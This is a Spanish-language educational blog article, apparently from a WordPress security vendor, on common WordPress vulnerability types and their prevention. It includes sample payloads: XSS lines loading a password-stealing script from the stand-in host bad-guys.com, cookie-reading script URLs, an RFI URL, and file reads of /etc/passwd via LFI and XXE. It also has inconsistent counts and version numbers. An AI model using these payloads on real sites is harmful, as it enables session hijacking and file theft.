Explicación de las vulnerabilidades de WordPress

Desafortunadamente, existen vulnerabilidades de WordPress. Las vulnerabilidades de WordPress pueden existir en sus complementos, sus temas e incluso en el núcleo de WordPress. Y dado que WordPress ahora impulsa casi el 40% de todos los sitios web, la tarea de comprender las vulnerabilidades es aún más importante. En pocas palabras: tienes que estar atento a la seguridad de tu sitio web.

Si no es un experto en seguridad de WordPress, comprender todas las diversas vulnerabilidades de WordPress puede resultar abrumador. También puede resultar abrumador tratar de comprender los diferentes niveles de gravedad de una vulnerabilidad, junto con los riesgos de la vulnerabilidad de WordPress.

Esta guía definirá las 21 vulnerabilidades de WordPress más comunes, cubrirá cómo calificar la gravedad de una vulnerabilidad de WordPress, dará ejemplos de cómo un pirata informático puede explotar la vulnerabilidad y mostrará cómo se pueden prevenir estas vulnerabilidades. Vamos a sumergirnos.

¿Qué es una vulnerabilidad de WordPress?

Una vulnerabilidad de WordPress es una debilidad o falla en un tema, complemento o núcleo de WordPress que puede ser aprovechado por un pirata informático. En otras palabras, las vulnerabilidades de WordPress crean un punto de entrada que un pirata informático puede usar para realizar actividades maliciosas.

Tenga en cuenta que la piratería de sitios web es casi totalmente automatizada. Debido a esto, los piratas informáticos pueden ingresar fácilmente a una gran cantidad de sitios web en prácticamente nada de tiempo. Los piratas informáticos utilizan herramientas especiales que escanean Internet en busca de vulnerabilidades conocidas.

A los piratas informáticos les gustan los objetivos fáciles, y tener un sitio web que ejecuta software con vulnerabilidades conocidas es como entregarle a un pirata informático las instrucciones paso a paso para ingresar a su sitio web, servidor, computadora o cualquier otro dispositivo conectado a Internet de WordPress.

Nuestros informes mensuales de resumen de vulnerabilidades de WordPress cubren todas las vulnerabilidades del núcleo, el complemento de WordPress y el tema de WordPress divulgadas públicamente. En estos resúmenes, compartimos el nombre del complemento o tema vulnerable, las versiones afectadas y el tipo de vulnerabilidad.

¿Qué es la vulnerabilidad de día cero?

Cuando se trata de vulnerabilidades de WordPress, es importante comprender la definición de vulnerabilidad de día cero. Debido a que la vulnerabilidad fue revelada al público, el desarrollador tiene cero días para parchear la vulnerabilidad. Y esto puede tener grandes implicaciones para sus complementos y temas.

Por lo general, un investigador de seguridad descubrirá una vulnerabilidad y la revelará en privado a los desarrolladores de la empresa que poseen el software. El investigador de seguridad y el desarrollador acuerdan que los detalles completos se publicarán una vez que el parche esté disponible. Puede haber un ligero retraso en la divulgación de la vulnerabilidad después de que se publique el parche para que más personas tengan tiempo de actualizar las principales vulnerabilidades de seguridad.

Sin embargo, si un desarrollador no responde al investigador de seguridad o no proporciona un parche para la vulnerabilidad, entonces el investigador puede revelar públicamente la vulnerabilidad para presionar al desarrollador para que emita un parche.

Revelar públicamente una vulnerabilidad y aparentemente introducir un día cero puede parecer contraproducente. Pero es la única ventaja que tiene un investigador para presionar al desarrollador para que parchee la vulnerabilidad.

Project Zero de Google tiene pautas similares cuando se trata de revelar vulnerabilidades. Publican los detalles completos de la vulnerabilidad después de 90 días. Si la vulnerabilidad ha sido parcheada o no.

La vulnerabilidad está ahí para que cualquiera la encuentre. Si un pirata informático encuentra la vulnerabilidad antes de que el desarrollador lance un parche, se convierte en la peor pesadilla del usuario final…. Un día cero explotado activamente.

¿Qué es una vulnerabilidad de día cero explotada activamente?

Una vulnerabilidad de día cero explotada activamente es exactamente lo que parece. Es una vulnerabilidad sin parches que los piratas informáticos están apuntando, atacando y explotando activamente.

A fines de 2018, los piratas informáticos estaban explotando activamente una vulnerabilidad grave de WordPress en el complemento WP GDPR Compliance. El exploit permitió a los usuarios no autorizados (más sobre esto en la siguiente sección) modificar la configuración de registro de usuario de WP y cambiar la nueva función de usuario predeterminada de suscriptor a administrador.

Estos piratas informáticos encontraron esta vulnerabilidad antes que el complemento WP GDPR Compliance y los investigadores de seguridad. Por lo tanto, cualquier sitio web que tuviera el complemento instalado era una marca fácil y garantizada para los ciberdelincuentes.

Cómo protegerse de una vulnerabilidad de día cero

La mejor manera de proteger su sitio web de una vulnerabilidad de día cero es desactivar y eliminar el software hasta que se repare la vulnerabilidad. Afortunadamente, los desarrolladores del complemento WP GDPR Compliance actuaron rápido y lanzaron un parche para la vulnerabilidad el día después de su divulgación pública.

Las vulnerabilidades sin parches hacen que su sitio web sea un objetivo fácil para los piratas informáticos.

Vulnerabilidades de WordPress no autenticadas frente a autenticadas

Hay dos términos más con los que debe estar familiarizado cuando se habla de las vulnerabilidades de WordPress.

1. No autenticado : una vulnerabilidad de WordPress no autenticada significa que cualquiera puede aprovechar la vulnerabilidad.
2. Autenticado : una vulnerabilidad de WordPress autenticada significa que requiere un usuario que haya iniciado sesión para explotarla.

Una vulnerabilidad que requiere un usuario autenticado es mucho más difícil de explotar para un pirata informático, especialmente si requiere privilegios de nivel de administrador. Y, si un hacker ya tiene en sus manos un conjunto de credenciales de administrador, realmente no necesita explotar una vulnerabilidad para causar estragos.

Hay una salvedad. Algunas vulnerabilidades autenticadas solo requieren capacidades de nivel de suscriptor para explotarlas. Si su sitio web permite que cualquiera se registre, realmente no hay mucha diferencia entre esto y una vulnerabilidad no autenticada.

19 vulnerabilidades comunes de WordPress explicadas

Cuando se trata de vulnerabilidades de WordPress, existen 21 tipos comunes de vulnerabilidades. Cubramos cada uno de estos tipos de vulnerabilidades de WordPress.

1. Omisión de autenticación

Una vulnerabilidad de omisión de autenticación permite a un atacante saltarse los requisitos de autenticación y realizar tareas normalmente reservadas para los usuarios autenticados.

La autenticación es el proceso de verificar la identidad de un usuario. WordPress requiere que los usuarios ingresen un nombre de usuario y una contraseña para verificar su identidad.

Ejemplo de omisión de autenticación

Las aplicaciones verifican la autenticación basándose en un conjunto fijo de parámetros. Un atacante podría modificar estos parámetros para obtener acceso a páginas web que normalmente requieren autenticación.

Un ejemplo muy básico de algo como esto es un parámetro de autenticación en la URL.

 https:/my-website/some-plugint?param=authenticated&param=no

La URL anterior tiene un parámetro de autenticación que tiene un valor de no. Entonces, cuando visitemos esta página, se nos presentará un mensaje informándonos que no estamos autorizados a ver la información en esta página.

Sin embargo, si la verificación de autenticación estaba mal codificada, un atacante podría modificar el parámetro de autenticación para obtener acceso a la página privada.

 https:/my-website/some-plugint?param=authenticated&param=yes

En este ejemplo, un pirata informático podría cambiar el valor de autenticación en la URL a sí para omitir el requisito de autenticación para ver la página.

Cómo prevenir la prevención de omisión de autenticación

Puede ayudar a proteger su sitio web de las vulnerabilidades de la autenticación rota mediante la autenticación de dos factores.

2. Vulnerabilidad de puerta trasera

Una vulnerabilidad de puerta trasera permite a los usuarios autorizados y no autorizados eludir las medidas de seguridad normales y obtener acceso de alto nivel a una computadora, servidor, sitio web o aplicación.

Ejemplo de puerta trasera

Un desarrollador crea una puerta trasera para que pueda cambiar rápidamente entre codificar y probar el código como usuario administrador. Desafortunadamente, el desarrollador se olvida de eliminar la puerta trasera antes de que el software se lance al público.

Si un pirata informático encuentra la puerta trasera, puede explotar el punto de entrada para obtener acceso de administrador al software. Ahora que el pirata informático tiene acceso de administrador, puede hacer todo tipo de acciones maliciosas, como inyectar malware o robar datos confidenciales.

Cómo prevenir una puerta trasera

Muchas puertas traseras pueden reducirse a un solo problema, una mala configuración de seguridad. Los problemas de configuración incorrecta de seguridad se pueden mitigar eliminando las funciones no utilizadas en el código, manteniendo todas las bibliotecas actualizadas y haciendo que los mensajes de error sean más generales.

3. Vulnerabilidad de inyección de objetos PHP

Se produce una vulnerabilidad de inyección de objetos PHP cuando un usuario envía una entrada que no está desinfectada (lo que significa que los caracteres ilegales no se eliminan) antes de unserialized() a la función PHP no unserialized() .

Ejemplo de inyección de objetos PHP

Aquí hay un ejemplo del mundo real de una vulnerabilidad de inyección de objetos PHP en el complemento de WordPress Sample Ads Manager que fue reportada originalmente por sumofpwn.

El problema se debe a dos llamadas inseguras a unserialize () en el archivo de complementos sam-ajax-loader.php . La entrada se toma directamente de la solicitud POST como se puede ver en el código a continuación.

 if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

Este problema podría provocar que un atacante ingrese y ejecute código malicioso.

Cómo prevenir la inyección de objetos PHP

No use la función unserialize() con la entrada proporcionada por el usuario, use funciones JSON en su lugar.

4. Vulnerabilidad de secuencias de comandos entre sitios

Se produce una vulnerabilidad de XSS o Cross-Site Scripting cuando una aplicación web permite a los usuarios agregar código personalizado en la ruta URL. Un atacante puede aprovechar la vulnerabilidad para ejecutar código malicioso en el navegador web de la víctima, crear una redirección a un sitio web malicioso o secuestrar la sesión de un usuario.

Hay tres tipos principales de XSS, reflejados. almacenado y basado en DOM

5. Vulnerabilidad reflejada de secuencias de comandos entre sitios

Un XSS reflejado o una secuencia de comandos entre sitios reflejada se produce cuando se envía una secuencia de comandos maliciosa en una solicitud de cliente (una solicitud realizada por usted en un navegador) a un servidor y el servidor lo refleja y lo ejecuta su navegador.

Ejemplo de secuencia de comandos entre sitios reflejada

Digamos que yourfavesite.com requiere que inicie sesión para ver parte del contenido del sitio web. Y digamos que este sitio web no codifica correctamente las entradas del usuario.

Un atacante podría aprovechar esta vulnerabilidad creando un enlace malicioso y compartirlo con los usuarios de yourfavesite.com en correos electrónicos y publicaciones en redes sociales.

El atacante utiliza una herramienta de acortamiento de URL para hacer que el enlace malicioso parezca no amenazante y muy yourfavesite.com/cool-stuff , yourfavesite.com/cool-stuff . Pero, cuando hace clic en el enlace abreviado, su navegador ejecuta el enlace completo yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js .

Después de hacer clic en el enlace, se lo dirigirá a yourfavesite.com , y la secuencia de comandos maliciosa se reflejará en su navegador, lo que permitirá al atacante secuestrar las cookies de su sesión y la cuenta de yourfavesite.com .

Cómo evitar la creación de secuencias de comandos entre sitios reflejados

La regla n. ° 5 en la hoja de trucos de prevención de secuencias de comandos cruzadas de OWASP es la codificación de URL antes de insertar datos que no son de confianza en valores de parámetros de URL HTML. Esta regla puede ayudar a evitar la creación de una vulnerabilidad XSS reflejada al agregar datos que no son de confianza en el valor del parámetro HTTP GET.

<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

6. Vulnerabilidad almacenada de secuencias de comandos entre sitios

Una vulnerabilidad Stored XSS o Stored Cross-Site Scripting permite a los piratas informáticos inyectar código malicioso y almacenarlo en el servidor de una aplicación web.

Ejemplo almacenado de secuencias de comandos entre sitios

Un atacante descubre que yourfavesite.com permite a los visitantes incrustar etiquetas HTML en la sección de comentarios del sitio. Entonces el atacante crea un nuevo comentario:

¡Excelente artículo! Consulte este otro gran artículo relacionado con <script src=”http://bad-guys.com/passwordstealingcode.js> . </script>

Nota: Una vulnerabilidad XSS reflejada requeriría que un visitante haga clic en el enlace del código malicioso para ejecutarlo. Un ataque XSS almacenado solo requiere que se visite la página que contiene el comentario. El código malicioso se ejecuta con cada carga de página.

Ahora que nuestro malo ha agregado el comentario, todos los futuros visitantes de esta página estarán expuestos a su script malicioso. El script está alojado en el sitio web del malo y tiene la capacidad de secuestrar las cookies de sesión de los visitantes y yourfavesite.com cuentas de yourfavesite.com .

Cómo evitar el almacenamiento de secuencias de comandos entre sitios

La regla n. ° 1 en la hoja de trucos de prevención de secuencias de comandos cruzadas de OWASP es la codificación HTML antes de agregar datos que no son de confianza en elementos HTML.

 <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>

 <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

Codificar los siguientes caracteres para evitar cambiar a cualquier contexto de ejecución, como script, estilo o controladores de eventos. El uso de entidades hexadecimales se recomienda en la especificación.

 & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

7. Vulnerabilidad de secuencias de comandos entre sitios basadas en modelos de objetos de documentos

Una vulnerabilidad XSS basada en DOM o de secuencia de comandos entre sitios basada en el modelo de objetos de documento se produce cuando la secuencia de comandos del lado del cliente de un sitio web escribe datos proporcionados por el usuario en el Modelo de objetos de documento (DOM). El sitio web luego lee la fecha del usuario del DOM y la envía al navegador web del visitante.

Si los datos proporcionados por el usuario no se manejan correctamente, un atacante podría inyectar código malicioso que se ejecutaría cuando el sitio web lea el código del DOM.

Nota: XSS reflejado y almacenado son problemas del lado del servidor, mientras que XSS basado en DOM es un problema del cliente (navegador).

Ejemplo de scripting entre sitios basado en modelos de objetos de documento

Una forma común de explicar un ataque DOM XSS es una página de bienvenida personalizada. Después de crear una cuenta, digamos que yourfavesite.com es redirigido a una página de bienvenida personalizada para darle la bienvenida por nombre usando el código a continuación. Y el nombre de usuario está codificado en la URL.

 <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

Entonces, tendríamos una URL de yourfavesite.com/account?name=yourname .

Un atacante podría realizar un ataque XSS basado en DOM enviando la siguiente URL al nuevo usuario:

 http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

Cuando el nuevo usuario hace clic en el enlace, su navegador envía una solicitud para:

 /account?name=<script>alert(document.cookie)</script>

a bad-guys.com . El sitio web responde con la página que contiene el código Javascript anterior.

El navegador del nuevo usuario crea un objeto DOM para la página, en el que el objeto document.location contiene la cadena:

 http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

El código original en la página no espera que el parámetro predeterminado contenga marcado HTML, repitiendo el marcado en la página. Luego, el navegador del nuevo usuario representará la página y ejecutará el script del atacante:

 alert(document.cookie)

Cómo prevenir la secuencia de comandos entre sitios basada en DOM

La regla n. ° 1 de la hoja de trucos de prevención de secuencias de comandos de sitios cruzados basada en OWASP Dom es el escape HTML. Luego, JS se escapa antes de agregar datos que no son de confianza en el subcontexto HTML dentro del contexto de ejecución.

Ejemplos de métodos HTML peligrosos:

Atributos

 element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

Métodos

 document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

Para realizar actualizaciones dinámicas de HTML en DOM de forma segura, OWASP recomienda:

1. Codificación HTML y luego
2. JavaScript codifica toda la entrada que no es de confianza, como se muestra en estos ejemplos:

 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Vulnerabilidad de falsificación de solicitudes entre sitios

Una vulnerabilidad CSRF o de falsificación de solicitudes entre sitios se produce cuando un ciberdelincuente engaña a un usuario para que realice acciones no deseadas. El atacante falsifica la solicitud del usuario a una aplicación.

Ejemplo de falsificación de solicitud entre sitios

En nuestro Resumen de vulnerabilidades de WordPress de enero de 2020, informamos sobre la vulnerabilidad de falsificación de solicitudes entre sitios que se encuentra en el complemento Fragmentos de código. (El complemento se parcheó rápidamente en la versión 2.14.0)

La falta de protección CRSF del complemento permitió a cualquiera falsificar una solicitud en nombre de un administrador e inyectar código ejecutable en un sitio vulnerable. Un atacante podría haberse aprovechado de esta vulnerabilidad para ejecutar código malicioso e incluso realizar una toma de control completa del sitio.

Cómo prevenir la falsificación de solicitudes entre sitios

La mayoría de los marcos de codificación tienen defensas de token sincronizadas integradas para proteger contra CSRF, y deben usarse.

También hay componentes externos como CSRF Protector Project que se pueden utilizar para proteger las vulnerabilidades de PHP y Apache CSRF.

9. Vulnerabilidad de falsificación de solicitudes del lado del servidor

Una vulnerabilidad SSRF o del falsificador de solicitudes del sitio del servidor permite a un atacante engañar a una aplicación del lado del servidor para que realice solicitudes HTTP a un dominio arbitrario de su elección.

Ejemplo de falsificación de solicitud del lado del servidor

Se podría aprovechar una vulnerabilidad SSRF para realizar un ataque Reflected Cross-Site Scripting. Un atacante podría obtener un script malicioso de bad-guys.com y entregarlo a todos los visitantes de un sitio web.

Cómo evitar la falsificación de solicitudes del lado del servidor

El primer paso para mitigar las vulnerabilidades de la SSRF es validar las entradas. Por ejemplo, si su servidor se basa en URL proporcionadas por el usuario para obtener diferentes archivos, debe validar la URL y permitir solo hosts de destino en los que confíe.

Para obtener más información sobre la prevención de SSRF, consulte la hoja de trucos de OWASP.

10. Vulnerabilidad de escalamiento de privilegios

Una vulnerabilidad de escalamiento de privilegios permite a un atacante ejecutar tareas que normalmente requieren privilegios de nivel superior.

Ejemplo de escalamiento de privilegios

En nuestro Resumen de vulnerabilidades de WordPress de noviembre de 2020, informamos sobre una vulnerabilidad de escalada de privilegios encontrada en el complemento Ultimate Member (la vulnerabilidad se corrigió en la versión 2.1.12).

Un atacante podría proporcionar un parámetro de matriz para el meta de usuario wp_capabilities que define el rol de un usuario. Durante el proceso de registro, los detalles de registro enviados se pasaron a la función update_profile , y cualquier metadato respectivo que se envió, independientemente de lo que se envió, se actualizaría para ese usuario recién registrado.

Básicamente, la vulnerabilidad permitió que un nuevo usuario solicitara administrador al registrarse.

Cómo evitar la escalada de privilegios

iThemes Security Pro puede ayudar a proteger su sitio web contra el control de acceso roto al restringir el acceso de administrador a una lista de dispositivos confiables.

11. Vulnerabilidad de ejecución remota de código

Una vulnerabilidad de ejecución remota de código o RCE permite a un atacante acceder y realizar cambios e incluso apoderarse de una computadora o servidor.

Ejemplo de ejecución remota de código

En 2018, Microsoft reveló una vulnerabilidad de ejecución remota de código encontrada en Excel.

Un atacante que aproveche con éxito la vulnerabilidad podría ejecutar código arbitrario en el contexto del usuario actual. Si el usuario actual ha iniciado sesión con derechos de usuario administrativo, un atacante podría tomar el control del sistema afectado. Entonces, un atacante podría instalar programas; ver, cambiar o eliminar datos; o cree nuevas cuentas con todos los derechos de usuario. Los usuarios cuyas cuentas están configuradas para tener menos derechos de usuario en el sistema podrían verse menos afectados que los usuarios que operan con derechos de usuario administrativos.

Cómo prevenir la ejecución remota de código

La forma más fácil de mitigar una vulnerabilidad RCE es validar la entrada del usuario filtrando y eliminando los caracteres no deseados.

Nuestra empresa matriz Liquid Web tiene un excelente artículo sobre cómo prevenir la ejecución remota de código.

12. Vulnerabilidad de inclusión de archivos

Una vulnerabilidad de inclusión de archivos se produce cuando una aplicación web permite al usuario enviar información a archivos o cargar archivos en el servidor.

Hay dos tipos de vulnerabilidades de inclusión de archivos, local y remota.

13. Vulnerabilidad de inclusión de archivos locales

Una vulnerabilidad LFI o de inclusión de archivos locales permite a un atacante leer y, a veces, ejecutar archivos en el servidor de un sitio web.

Ejemplo de inclusión de archivos locales

Echemos otro vistazo a yourfavesite.com , donde las rutas que se pasan para include declaraciones no se desinfectan adecuadamente. Por ejemplo, echemos un vistazo a la URL a continuación.

 yourfavesite.com/module.php?file=example.file

Es posible que un atacante cambie el parámetro de URL para acceder a un archivo arbitrario en el servidor.

 yourfavesite.com/module.php?file=etc/passwd

Cambiar el valor del archivo en la URL podría permitir que un atacante vea el contenido del archivo psswd.

Cómo prevenir la inclusión de archivos locales

Cree una lista permitida de archivos que la página puede incluir, luego use un identificador para acceder al archivo seleccionado. Y luego bloquee cualquier solicitud que contenga un identificador no válido.

14. Vulnerabilidad de inclusión de archivos remotos

Una vulnerabilidad de inclusión remota de archivos o RFI permite a un atacante incluir un archivo, por lo general explotando los mecanismos de “inclusión dinámica de archivos” implementados en la aplicación de destino.

Ejemplo de inclusión de archivos remotos

El plugin de WordPress WP con Spritz se cerró en el repositorio de WordPress.org porque tenía una vulnerabilidad de RFI.

A continuación se muestra el código fuente de la vulnerabilidad:

 if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

El código puede explotarse cambiando el valor del valor content.filter.php?url= . Por ejemplo:

 yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

Prevención de inclusión de archivos remotos

Cree una lista permitida de archivos que la página puede incluir, luego use un identificador para acceder al archivo seleccionado. Y luego bloquee cualquier solicitud que contenga un identificador no válido.

15. Vulnerabilidad transversal de directorio

Una vulnerabilidad de Directory Traversal o File Traversal permite a un atacante leer archivos arbitrarios en el servidor que está ejecutando una aplicación.

Ejemplo de recorrido de directorio

Las versiones 5.7 - 5.03 de WordPress eran vulnerables a los ataques transversales de directorio porque no pudieron verificar los datos de entrada del usuario correctamente. Un atacante con acceso a una cuenta con al menos privilegios de author podría aprovechar la vulnerabilidad de cruce de directorios y ejecutar código PHP malicioso en el servidor subyacente, lo que provocaría una toma de control remota completa.

Cómo prevenir el cruce de directorios

Los desarrolladores pueden utilizar índices en lugar de partes reales de los nombres de los archivos al crear plantillas o utilizar archivos de idioma.

16. Vulnerabilidad de redireccionamiento malicioso

Una vulnerabilidad de redireccionamiento malicioso permite a un atacante inyectar código para redirigir a los visitantes del sitio a otro sitio web.

Ejemplo de redireccionamiento malicioso

Digamos que está buscando un suéter azul usando la herramienta de búsqueda en una boutique en línea.

Desafortunadamente, el servidor de la boutique no codifica correctamente las entradas del usuario y un atacante pudo inyectar un script de redireccionamiento malicioso en su consulta de búsqueda.

Por lo tanto, cuando escribe suéter azul en el campo de búsqueda de la boutique y presiona Intro, termina en la página web del atacante en lugar de en la página de la boutique con suéteres que coinciden con la descripción de su búsqueda.

Cómo prevenir el redireccionamiento malintencionado

Puede protegerse contra los redireccionamientos maliciosos desinfectando las entradas de los usuarios, validando las URL y obteniendo la confirmación del visitante para todos los redireccionamientos externos.

17. Vulnerabilidad de entidad externa XML

Una vulnerabilidad de entidad externa XXE o XML permite a un atacante engañar a un analizador XML para que transmita información confidencial a una entidad externa bajo su control.

Ejemplo de entidad externa XML

Un atacante podría aprovechar una vulnerabilidad XXE para obtener acceso a archivos confidenciales como etc / passwd, que almacena información de la cuenta del usuario.

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

Cómo prevenir una entidad externa XML

La mejor forma de prevenir XXE es utilizar formatos de datos menos complejos como JSON y evitar la serialización de datos confidenciales.

18. Ataque por denegación de servicio

Un ataque DoS o de denegación de servicio es un intento deliberado de hacer que su sitio web o aplicación no esté disponible para los usuarios al inundarlo con tráfico de red.

En un ataque de denegación de servicio distribuido DDoS , un atacante utiliza múltiples fuentes para inundar una red con tráfico. Un atacante secuestrará grupos de computadoras, enrutadores y dispositivos de IoT infectados con malware para aumentar el flujo de tráfico.

Ejemplo de ataque de denegación de servicio

El ataque DDoS (denegación de servicio distribuido) más grande de la historia se impuso contra AWS en febrero de este año. Amazon informó que AWS Shield, su servicio administrado de protección contra amenazas, observó y mitigó este enorme ataque DDoS. El ataque duró 3 días y alcanzó un máximo de 2,3 terabytes por segundo.

Cómo prevenir un ataque de denegación de servicio

Hay 2 formas principales de mitigar un ataque DoS.

1. Compra más hosting del que necesitas. Tener recursos adicionales a su disposición puede ayudarlo a capear la mayor demanda causada por un ataque DoS.
2. Utilice un cortafuegos a nivel de servidor como Cloudflare. Un firewall puede detectar un pico inusual en el tráfico y evitar que su sitio web se sobrecargue.

19. Registro de pulsaciones de teclas

El registro de pulsaciones de teclas , también conocido como registro de teclas o captura de teclado, se produce cuando un pirata informático supervisa y registra de forma encubierta las pulsaciones de teclas de los visitantes del sitio web.

Ejemplo de registro de pulsaciones de teclas

En 2017, un pirata informático instaló JavaScript malicioso en el servidor del fabricante de teléfonos inteligentes OnePlus.

Usando el código malicioso, los atacantes monitorearon y registraron las pulsaciones de teclas de los clientes de OnePlus cuando ingresaron los detalles de su tarjeta de crédito. Los piratas informáticos registraron y recopilaron las pulsaciones de teclas de 40.000 clientes antes de que OnePlus detectara y parcheara el pirateo.

Cómo prevenir el registro de pulsaciones de teclas

¡Actualiza todo! Por lo general, un atacante necesitará aprovechar otra vulnerabilidad existente para inyectar un registrador de teclas en una computadora o servidor. Mantener todo actualizado con los últimos parches de seguridad evitará que los piratas informáticos puedan instalar un registrador de pulsaciones de teclas en su sitio web o computadora.

Bono: 2 Ingeniería social y vulnerabilidades del usuario

Las vulnerabilidades del software son lo único que los piratas informáticos y los ciberdelincuentes intentan explotar. Los piratas informáticos también se dirigen a los seres humanos y los explotan. Echemos un vistazo a un par de formas en las que podemos convertirnos en vulnerabilidades.

1. Phishing

El phishing es un método de ataque cibernético que utiliza el correo electrónico, las redes sociales, los mensajes de texto y las llamadas telefónicas para engañar a la víctima para que proporcione información personal. El atacante utilizará la información para acceder a cuentas personales o cometer fraude de identidad.

Cómo detectar un correo electrónico de phishing

Como aprendimos anteriormente en esta publicación, algunas vulnerabilidades requieren algún tipo de interacción del usuario para explotarlas. Una forma en que un hacker engaña a las personas para que participen en sus nefastos esfuerzos es enviando correos electrónicos de phishing.

Aprender a detectar un correo electrónico de suplantación de identidad (phishing) puede salvarlo de participar inadvertidamente en los planes de los ciberdelincuentes.

4 consejos para detectar un correo electrónico de phishing :

1. Mire la dirección de correo electrónico del remitente : si recibe un correo electrónico de una empresa, la parte de la dirección de correo electrónico del remitente después de la “@” debe coincidir con el nombre de la empresa.
   
   Si un correo electrónico representa a una empresa o entidad gubernamental, pero utiliza una dirección de correo electrónico pública como "@gmail", es una señal de un correo electrónico de suplantación de identidad.
   
   Esté atento a los sutiles errores ortográficos del nombre de dominio. Por ejemplo, veamos esta dirección de correo electrónico [email protected] Podemos ver que Netflix tiene una "x" adicional al final. El error ortográfico es una clara señal de que el correo electrónico fue enviado por un estafador y debe eliminarse de inmediato.
   
2. Busque errores gramaticales : un correo electrónico lleno de errores gramaticales es una señal de un correo electrónico malicioso. Todas las palabras pueden estar escritas correctamente, pero a las oraciones les faltan palabras que harían que la oración sea coherente. Por ejemplo, “Su cuenta ha sido pirateada. Actualice la contraseña a la seguridad de la cuenta ”.
   
   Todos cometemos errores, y no todos los correos electrónicos con un error tipográfico o dos son un intento de estafarlo. Sin embargo, múltiples errores gramaticales merecen una mirada más de cerca antes de responder.
   
3. Archivos adjuntos o enlaces sospechosos : vale la pena hacer una pausa por un momento antes de interactuar con los archivos adjuntos o enlaces incluidos en un correo electrónico.
   
   Si no reconoce al remitente de un correo electrónico, no debe descargar ningún archivo adjunto incluido en el correo electrónico, ya que podría contener malware e infectar su computadora. Si el correo electrónico dice ser de una empresa, puede buscar en Google su información de contacto para verificar que el correo electrónico fue enviado por ellos antes de abrir cualquier archivo adjunto.
   
   Si un correo electrónico contiene un enlace, puede colocar el mouse sobre el enlace para verificar que la URL lo esté enviando a donde debería estar.
   
4. Tenga cuidado con las solicitudes urgentes : un truco común utilizado por los estafadores es crear una sensación de urgencia. Un correo electrónico malintencionado puede generar un escenario que requiera una acción inmediata. Cuanto más tiempo tenga para pensar, mayor será la posibilidad de que identifique que la solicitud proviene de un estafador.
   
   Es posible que reciba un correo electrónico de su "jefe" pidiéndole que le pague a un proveedor lo antes posible o de su banco informándole que su cuenta ha sido pirateada y que se requiere una acción inmediata.

2. Credenciales débiles

Los usuarios tienen el potencial de ser la mayor vulnerabilidad de seguridad de WordPress.

En una lista compilada por Splash Data, la contraseña más común incluida en todos los volcados de datos fue 123456. Un volcado de datos es una base de datos pirateada llena de contraseñas de usuario vertidas en algún lugar de Internet. ¿Te imaginas cuántas personas en tu sitio web usan una contraseña débil si 123456 es la contraseña más común en los volcados de datos?

Aunque el 91% de las personas saben que reutilizar contraseñas es una mala práctica, el 59% de las personas todavía reutilizan sus contraseñas en todas partes. Muchas de estas personas todavía usan contraseñas que saben que han aparecido en un volcado de bases de datos.

Los piratas informáticos utilizan una forma de ataque de fuerza bruta llamada ataque de diccionario. Un ataque de diccionario es un método para irrumpir en un sitio web de WordPress con contraseñas de uso común que han aparecido en volcados de bases de datos. La “Colección # 1? La filtración de datos alojada en MEGA incluyó 1,160,253,228 combinaciones únicas de direcciones de correo electrónico y contraseñas. Eso es mil millones con una b. Ese tipo de puntuación realmente ayudará a un ataque de diccionario a reducir las contraseñas de WordPress más utilizadas.

Las credenciales débiles convierten su inicio de sesión de WordPress en una vulnerabilidad fácil de explotar para los piratas informáticos.

Cómo prevenir credenciales débiles

La mejor manera de evitar las credenciales débiles es creando una política de contraseñas fuerte y utilizando la autenticación de dos factores.

La función de requisitos de contraseña de iThemes Security Pro permite forzar a los miembros de un grupo de usuarios a utilizar una contraseña segura, elegir una hora de caducidad de la contraseña , rechazar las contraseñas comprometidas y forzar un cambio de contraseñas en todo el sitio para que todos cumplan con su nueva política de contraseñas seguras.

La autenticación de dos factores es un proceso de verificación de la identidad de una persona que requiere dos métodos de verificación separados. Google compartió en su blog que el uso de la autenticación de dos factores puede detener el 100% de los ataques de bots automatizados.

La función de autenticación de dos factores de iThemes Security Pro proporciona una gran flexibilidad al implementar 2fa en su sitio web. Puede habilitar dos factores para todos o algunos de sus usuarios, y puede obligar a sus usuarios de alto nivel a usar 2fa en cada inicio de sesión.

Cómo proteger su sitio web de WordPress de las vulnerabilidades de WordPress

Echemos un vistazo a algunos pasos prácticos que puede tomar para proteger su sitio web de las vulnerabilidades de WordPress.

1. Mantenga actualizado su software de WordPress

Tener un complemento o tema vulnerable para el que hay un parche disponible pero no se aplica es el principal culpable de los sitios web de WordPress pirateados. Esto significa que la mayoría de las vulnerabilidades se explotan DESPUÉS de la publicación de un parche para la vulnerabilidad.

La violación de Equifax, altamente reportada, podría haberse evitado si hubieran actualizado su software. Para la violación de Equifax, simplemente no había excusa.

